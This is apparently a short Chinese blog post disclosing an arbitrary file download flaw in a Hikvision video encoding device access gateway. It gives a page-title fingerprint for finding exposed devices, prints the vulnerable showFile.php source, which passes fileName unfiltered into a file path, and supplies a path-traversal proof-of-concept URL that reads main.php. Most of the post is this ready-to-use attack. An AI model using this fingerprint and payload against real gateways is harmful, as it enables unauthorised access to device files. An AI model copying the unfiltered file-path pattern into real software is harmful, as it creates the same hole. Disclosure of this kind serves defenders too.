Hikvision视频接入网关系统在页面/serverLog/showFile.php
的参数fileName存在任意文件下载漏洞
HIKVISION 视频编码设备接入网关
title="视频编码设备接入网关"
登录页面
漏洞文件为 showFile.php
, 其中 参数 fileName
没有过滤危险字符,导致可文件遍历下载
<?php
$file_name = $_GET['fileName'];
$file_path = '../../../log/'.$file_name;
$fp = fopen($file_path, "r");
while($line = fgets($fp)){
$line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));
echo '<span style="font-size:16px">'.$line.'</span>';
}
fclose($fp);
?>
验证POC
/serverLog/showFile.php?fileName=../web/html/main.php
456 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!